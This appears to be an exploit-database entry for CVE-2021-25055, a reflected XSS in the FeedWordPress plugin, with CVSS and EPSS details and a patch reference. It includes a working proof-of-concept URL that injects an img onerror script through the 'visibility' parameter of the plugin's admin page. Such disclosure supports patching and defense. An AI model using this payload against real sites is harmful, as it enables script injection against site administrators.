Exploit for FeedWordPress < 2022.0123 - Reflected Cross-Site Scripting (XSS)

CVE-2021-25055

wpexploit · 2022-01-18

Description

FeedWordPress 2022.0123 XSS exploi

Entry point

Parametervisibility · query param

Path/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php

Reflected XSS in visibility parameter of FeedWordPress plugin before 2022.0123

Affected Feedwordpress Project Feedwordpress versions

Feedwordpress Project Feedwordpress< 2022.0123

All known vulnerabilities by product

Feedwordpress

CVSS 6.1 for CVE-2021-25055

6.1

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:CHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

EPSS Score

2.3%higher than 81.5% of all CVEs

Updated 2026-07-12

References

https://plugins.trac.wordpress.org/changeset/2662665

Exploit Details

Modified:2022-04-10 07:08

Last Seen:2022-04-15 14:19

Reporter:AKM17

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:7ED050A4-27EB-4ECB-9182-1D8FA1E71571
https://example.com/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D2+onerror%3Dalert%28origin%29%3E

Exploit Code

Share

Share on social media: